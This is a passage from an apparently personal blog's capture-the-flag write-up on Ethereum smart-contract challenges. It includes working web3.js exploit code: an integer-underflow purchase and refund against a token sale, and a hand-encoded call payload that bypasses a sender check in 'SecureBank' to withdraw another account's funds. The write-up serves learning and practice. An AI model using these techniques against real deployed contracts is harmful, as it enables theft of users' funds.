<span class="w"> </span><span class="kt">require</span><span class="p">(</span><span class="k">msg.sender</span><span class="w"> </span><span class="o">==</span><span class="w"> </span>developer<span class="p">,</span><span class="w"> </span><span class="s2">"Unauthorized: Not Developer"</span><span class="p">);</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span>balances<span class="p">[</span><span class="kt">this</span><span class="p">]</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="m m-Decimal">0</span><span class="p">,</span><span class="w"> </span><span class="s2">"Only Allowed Once Sale is Complete"</span><span class="p">);</span>
<span class="w"> </span><span class="k">msg.sender</span><span class="p">.</span>transfer<span class="p">(</span>etherCollection<span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>This challenge was far trickier then first three. Key is in <code>purchaseTokens</code> function, <code>balances[msg.sender] += _value - feeAmount;</code>.
Only check made is that value is not 0, so by sending very small value, we can actually underflow our balance.
After setting up contract variable our solution is (just remember to double required amount of eth since it's divided by 2 before transfer):</p>
<div class="highlight"><pre><span></span><code><span class="nx">web3</span><span class="p">.</span><span class="nx">eth</span><span class="p">.</span><span class="nx">sendTransaction</span><span class="p">({</span><span class="kr">from</span><span class="o">:</span><span class="nx">web3</span><span class="p">.</span><span class="nx">eth</span><span class="p">.</span><span class="nx">defaultAccount</span><span class="w"> </span><span class="p">,</span><span class="nx">to</span><span class="o">:</span><span class="nx">tokenContractAddress</span><span class="p">,</span><span class="w"> </span><span class="nx">value</span><span class="o">:</span><span class="w"> </span><span class="nx">web3</span><span class="p">.</span><span class="nx">toWei</span><span class="p">(</span><span class="mf">0.000009</span><span class="p">)},</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="nx">res</span><span class="p">)=>{</span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="nx">res</span><span class="p">);})</span>
<span class="nx">contract</span><span class="p">.</span><span class="nx">refundTokens</span><span class="p">(</span><span class="nx">web3</span><span class="p">.</span><span class="nx">toWei</span><span class="p">(</span><span class="mf">0.600018</span><span class="p">),</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="nx">ok</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="nx">ok</span><span class="p">)</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">)</span>
</code></pre></div>
<h2 id="lvl-5-secure-bank">Lvl 5 Secure Bank</h2>
<div class="highlight"><pre><span></span><code><span class="k">pragma solidity</span><span class="w"> </span><span class="err">0.4.24</span><span class="p">;</span>
<span class="kt">import</span><span class="w"> </span><span class="s2">"../CtfFramework.sol"</span><span class="p">;</span>
<span class="k">contract</span><span class="w"> </span><span class="ni">SimpleBank</span><span class="w"> </span><span class="kt">is</span><span class="w"> </span>CtfFramework<span class="p">{</span>
<span class="w"> </span><span class="kt">mapping</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="o">=></span><span class="w"> </span><span class="kt">uint256</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span>balances<span class="p">;</span>
<span class="w"> </span><span class="kt">constructor</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_ctfLauncher</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">_player</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="kt">payable</span>
<span class="w"> </span>CtfFramework<span class="p">(</span>_ctfLauncher<span class="p">,</span><span class="w"> </span>_player<span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span>balances<span class="p">[</span><span class="k">msg.sender</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">msg.value</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">deposit</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_user</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="kt">payable</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span>balances<span class="p">[</span>_user<span class="p">]</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="k">msg.value</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">withdraw</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_user</span><span class="p">,</span><span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">_value</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span>_value<span class="o"><=</span>balances<span class="p">[</span>_user<span class="p">],</span><span class="w"> </span><span class="s2">"Insufficient Balance"</span><span class="p">);</span>
<span class="w"> </span>balances<span class="p">[</span>_user<span class="p">]</span><span class="w"> </span><span class="o">-=</span><span class="w"> </span>_value<span class="p">;</span>
<span class="w"> </span><span class="k">msg.sender</span><span class="p">.</span>transfer<span class="p">(</span>_value<span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="kt">payable</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span>deposit<span class="p">(</span><span class="k">msg.sender</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="k">contract</span><span class="w"> </span><span class="ni">MembersBank</span><span class="w"> </span><span class="kt">is</span><span class="w"> </span>SimpleBank<span class="p">{</span>
<span class="w"> </span><span class="kt">mapping</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="o">=></span><span class="w"> </span><span class="kt">string</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span>members<span class="p">;</span>
<span class="w"> </span><span class="kt">constructor</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_ctfLauncher</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">_player</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="kt">payable</span>
<span class="w"> </span>SimpleBank<span class="p">(</span>_ctfLauncher<span class="p">,</span><span class="w"> </span>_player<span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">register</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_user</span><span class="p">,</span><span class="w"> </span><span class="kt">string</span><span class="w"> </span><span class="nv">_username</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span>members<span class="p">[</span>_user<span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>_username<span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">modifier</span><span class="w"> </span>isMember<span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_user</span><span class="p">){</span>
<span class="w"> </span><span class="kt">bytes</span><span class="w"> </span><span class="nv">memory</span><span class="w"> </span>username<span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kt">bytes</span><span class="p">(</span>members<span class="p">[</span>_user<span class="p">]);</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span>username<span class="p">.</span>length<span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="m m-Decimal">0</span><span class="p">,</span><span class="w"> </span><span class="s2">"Member Must First Register"</span><span class="p">);</span>
<span class="w"> </span>_<span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">deposit</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_user</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="kt">payable</span><span class="w"> </span>isMember<span class="p">(</span>_user<span class="p">)</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span>super<span class="p">.</span>deposit<span class="p">(</span>_user<span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">withdraw</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_user</span><span class="p">,</span><span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">_value</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span>isMember<span class="p">(</span>_user<span class="p">)</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span>super<span class="p">.</span>withdraw<span class="p">(</span>_user<span class="p">,</span><span class="w"> </span>_value<span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="k">contract</span><span class="w"> </span><span class="ni">SecureBank</span><span class="w"> </span><span class="kt">is</span><span class="w"> </span>MembersBank<span class="p">{</span>
<span class="w"> </span><span class="kt">constructor</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_ctfLauncher</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">_player</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="kt">payable</span>
<span class="w"> </span>MembersBank<span class="p">(</span>_ctfLauncher<span class="p">,</span><span class="w"> </span>_player<span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">deposit</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_user</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="kt">payable</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span><span class="k">msg.sender</span><span class="w"> </span><span class="o">==</span><span class="w"> </span>_user<span class="p">,</span><span class="w"> </span><span class="s2">"Unauthorized User"</span><span class="p">);</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span><span class="k">msg.value</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="m m-Decimal">100</span><span class="w"> </span>ether<span class="p">,</span><span class="w"> </span><span class="s2">"Exceeding Account Limits"</span><span class="p">);</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span><span class="k">msg.value</span><span class="w"> </span><span class="o">>=</span><span class="w"> </span><span class="m m-Decimal">1</span><span class="w"> </span>ether<span class="p">,</span><span class="w"> </span><span class="s2">"Does Not Satisfy Minimum Requirement"</span><span class="p">);</span>
<span class="w"> </span>super<span class="p">.</span>deposit<span class="p">(</span>_user<span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">withdraw</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_user</span><span class="p">,</span><span class="w"> </span><span class="kt">uint8</span><span class="w"> </span><span class="nv">_value</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span><span class="k">msg.sender</span><span class="w"> </span><span class="o">==</span><span class="w"> </span>_user<span class="p">,</span><span class="w"> </span><span class="s2">"Unauthorized User"</span><span class="p">);</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span>_value<span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="m m-Decimal">100</span><span class="p">,</span><span class="w"> </span><span class="s2">"Exceeding Account Limits"</span><span class="p">);</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span>_value<span class="w"> </span><span class="o">>=</span><span class="w"> </span><span class="m m-Decimal">1</span><span class="p">,</span><span class="w"> </span><span class="s2">"Does Not Satisfy Minimum Requirement"</span><span class="p">);</span>
<span class="w"> </span>super<span class="p">.</span>withdraw<span class="p">(</span>_user<span class="p">,</span><span class="w"> </span>_value<span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="m m-Decimal">1</span><span class="w"> </span>ether<span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">register</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_user</span><span class="p">,</span><span class="w"> </span><span class="kt">string</span><span class="w"> </span><span class="nv">_username</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span>ctf<span class="p">{</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span><span class="kt">bytes</span><span class="p">(</span>_username<span class="p">).</span>length<span class="o">!=</span><span class="m m-Decimal">0</span><span class="p">,</span><span class="w"> </span><span class="s2">"Username Not Enough Characters"</span><span class="p">);</span>
<span class="w"> </span><span class="kt">require</span><span class="p">(</span><span class="kt">bytes</span><span class="p">(</span>_username<span class="p">).</span>length<span class="o"><=</span><span class="m m-Decimal">20</span><span class="p">,</span><span class="w"> </span><span class="s2">"Username Too Many Characters"</span><span class="p">);</span>
<span class="w"> </span>super<span class="p">.</span>register<span class="p">(</span>_user<span class="p">,</span><span class="w"> </span>_username<span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>This was a really interesting challenge. The problem we have to solve is that call to function <code>withdraw</code> checks if <code>msg.sender == _user</code>.</p>
<p>The first thing I wanted to check is mapping <code>balances</code> to get key under which 0.4 ETH where stored.</p>
<p>The easiest way is to use <a href="https://etherscan.io/">etherscan</a> and find <code>Contact creator</code> address for this contract. We can see that the creator is the key under funds are put by looking at the constructor for <code>SimpleBank</code>.</p>
<p>Interestingly, there is no way to get keys from mapping itself in solidity.
To verify if key we have gotten is correct, we can use:</p>
<div class="highlight"><pre><span></span><code><span class="nx">contract</span><span class="p">.</span><span class="nx">balances</span><span class="p">(</span><span class="s2">"0x2272071889eDCeACABce7dfec0b1E017c6Cad120"</span><span class="p">,(</span><span class="nx">err</span><span class="p">,</span><span class="nx">res</span><span class="p">)=>{</span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">res</span><span class="p">.</span><span class="nx">toNumber</span><span class="p">());})</span>
</code></pre></div>
<p>Without <code>toNumber</code> results are hard to read, so don't forget to use it.</p>
<p>But this only works since in our case mapping is actually public. With a bit digging around it turns that we can read values even from private mappings:</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">slot</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"0000000000000000000000000000000000000000000000000000000000000001"</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">key</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"00000000000000000000000x2272071889eDCeACABce7dfec0b1E017c6Cad120"</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">contractAddress</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"**************"</span>
<span class="nx">web3</span><span class="p">.</span><span class="nx">eth</span><span class="p">.</span><span class="nx">getStorageAt</span><span class="p">(</span>
<span class="w"> </span><span class="nx">contractAddress</span><span class="p">,</span><span class="w"> </span><span class="c1">// address of the contract to read from</span>
<span class="w"> </span><span class="nx">web3</span><span class="p">.</span><span class="nx">sha3</span><span class="p">(</span><span class="nx">key</span><span class="o">+</span><span class="nx">slot</span><span class="p">,</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">encoding</span><span class="o">:</span><span class="w"> </span><span class="s1">'hex'</span><span class="w"> </span><span class="p">}),</span><span class="w"> </span><span class="c1">// keccak256(k . p)</span>
<span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="w"> </span><span class="nx">result</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">web3</span><span class="p">.</span><span class="nx">toDecimal</span><span class="p">(</span><span class="nx">result</span><span class="p">));</span><span class="w"> </span>
<span class="w"> </span><span class="p">}</span>
<span class="p">);</span>
</code></pre></div>
<p>Some notes:</p>
<ul>
<li>Slot depends on the place of state variable we are trying to access. I expected slot to be 0 for balances but it turned out to be 1, probably due the way variables are ordered when they are inherited.</li>
<li>both slot and key need to be padded, like in the example, to 64 hex characters</li>
</ul>
<p>Looking carefully at the source, we can see that function <code>withdraw</code> has a different signature in <code>SecureBank</code> which means it is not overloading <code>withdraw</code> from <code>MembersBank</code>.
In <code>MembersBank</code> there is no address check in <code>withdraw</code> but we have two new problems. First, we need to pass <code>isMember</code> modifier. This is done simply by registering any username with <code>0x2272071889eDCeACABce7dfec0b1E017c6Cad120</code> address. The second problem is how to call this function, <code>web3.js</code> is terrible at handling functions with the same name and it will just call <code>withdraw</code> in <code>SecureBank</code> no matter which parameters we pass.</p>
<p>To get around this we need to make our own call payload and send it.
If we look at <code>etherscan</code> data of function call is something like:</p>
<div class="highlight"><pre><span></span><code>Function: register(address owner, string gravatarHash) ***
MethodID: 0x32434a2e
[0]: 0000000000000000000000002272071889edceacabce7dfec0b1e017c6cad120
[1]: 0000000000000000000000000000000000000000000000000000000000000040
[2]: 0000000000000000000000000000000000000000000000000000000000000005
[3]: 456f733932000000000000000000000000000000000000000000000000000000
</code></pre></div>
<p>First we have function ID, this is just first 32 bits of sha256 of function name and parameter types.
We can calculate it using web3.js:</p>
<div class="highlight"><pre><span></span><code><span class="nx">web3</span><span class="p">.</span><span class="nx">sha3</span><span class="p">(</span><span class="s1">'withdraw(address,uint256)'</span><span class="p">)</span>
<span class="s2">"0xf3fef3a3f44f9c277339b67d54f015748bd8d6b77a985b0ab6e71126b018c34a"</span>
</code></pre></div>
<p>After ID, parameters come in order they are declared:
* we have address expanded to 32 bytes in line 0
* then in lines 1,2,3 we have string. String are passed a bit differently first, on line of parameter we have offset to actual data (0x40 = 64), then on line given by offset he have number of characters in string (5) and on line[s] after that we have actual hex encoded string.</p>
<p>In our case encoded data and call are:</p>
<div class="highlight"><pre><span></span><code>Function: withdraw(address addr, uint256 amount) ***
MethodID: 0xf3fef3a3
[0]: 0000000000000000000000002272071889edceacabce7dfec0b1e017c6cad120
[1]: 000000000000000000000000000000000000000000000000058d15e176280000
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">tx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="nx">contractAddress</span><span class="p">,</span>
<span class="w"> </span><span class="nx">data</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="s2">"0xf3fef3a30000000000000000000000002272071889edceacabce7dfec0b1e017c6cad120000000000000000000000000000000000000000000000000058d15e176280000"</span>
<span class="p">}</span>
<span class="nx">web3</span><span class="p">.</span><span class="nx">eth</span><span class="p">.</span><span class="nx">sendTransaction</span><span class="p">(</span><span class="nx">tx</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="nx">res</span><span class="p">)=>{</span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="nx">res</span><span class="p">);});</span>
</code></pre></div>
</div>
<footer class="text-right">
<p>- F3real</p>
</footer>
<div id="show-comments" class="span7 text-center">
<a href="https://f3real.github.io/blockchain_ctf15.html#disqus_thread"
data-disqus-identifier="blockchain_ctf15"
class="btn btn-primary twitchy-background">Show Comments</a>
</div>
<section id="comments" class="comments hidden">
<hr/>
<h2>Comments</h2>
<div id="disqus_thread"></div>
<noscript>Please enable JavaScript to view the <a href="http://disqus.com/?ref_noscript">comments powered by
Disqus.</a></noscript>
<a href="http://disqus.com" class="dsq-brlink">comments powered by <span class="logo-disqus">Disqus</span></a>
</section>
</div>
</div>
</article>
</section>
<footer>
<hr>
<div class="row">
<div class="col-lg-10 text-center">
<p><small>
Built by <a href="http://docs.getpelican.com/en/latest">Pelican</a> / <a href="https://github.com/F3real/pelican-twitchy">pelican-twitchy</a>
· © 2024 F3real
</small></p>
</div>
</div>
</footer> </div>
</div>
<!-- /#page-content-wrapper -->
</div>
<!-- /#wrapper -->
<!-- disqus -->
<script type="text/javascript">
/* * * CONFIGURATION VARIABLES: EDIT BEFORE PASTING INTO YOUR WEBPAGE * * */
var disqus_shortname = 'https-f3real-github-io'; // required: replace example with your forum shortname
var disqus_identifier = 'blockchain_ctf15';
var disqus_url = 'https://f3real.github.io/blockchain_ctf15.html';
var disqus_config = function () {
this.language = "en";
};
var commentsDiv = document.getElementById('show-comments');
commentsDiv.onclick = function() {
/* * * DON'T EDIT BELOW THIS LINE * * */
(function () {
var dsq = document.createElement('script');
dsq.type = 'text/javascript';
dsq.async = true;
dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
})();
this.style.display = 'none';
};
</script>
<!-- /disqus -->
<script>
const wrapper = document.getElementById('wrapper');
const sidebarBig = document.getElementById('sidebar-wrapper');
const sidebarSmall = document.getElementById('sidebar-wrapper-small');
const triggers = Array.from(document.querySelectorAll('[data-toggle="collapse"]'));
for (var i = 0; i < triggers.length; i++) {
triggers[i].addEventListener('click', (ev) => {
const elm = ev.currentTarget;
ev.preventDefault();
const selector = elm.getAttribute('href').replace('#','');
elm.classList.toggle('collapsed');
document.getElementById(selector).classList.toggle('show');
}, false);
}
function showBigNav() {;
sidebarBig.style.display = 'block';
sidebarSmall.style.display = 'none';
}
function showSmallNav() {
sidebarBig.style.display = 'none';
sidebarSmall.style.display = 'block';
}
const mediaQuery = window.matchMedia('(min-width:768px)');
mediaQuery.onchange = e => {
if (wrapper.classList.contains('toggled')) {
wrapper.classList.remove('toggled');
} else {
if (e.matches) {
showBigNav();
} else {
showSmallNav();
}
}
}
function setNavbar() {
var condition = wrapper.classList.contains('toggled');
if (!mediaQuery.matches) {
condition = !condition;
}
if (condition) {
showSmallNav();
} else {
showBigNav();
}
}
function toggleMenu(){
wrapper.classList.toggle('toggled');
setNavbar();
}
window.onload = setNavbar;
</script>
<script data-goatcounter="https://f3real.goatcounter.com/count"
async src="//gc.zgo.at/count.js"></script>
</body>
</html>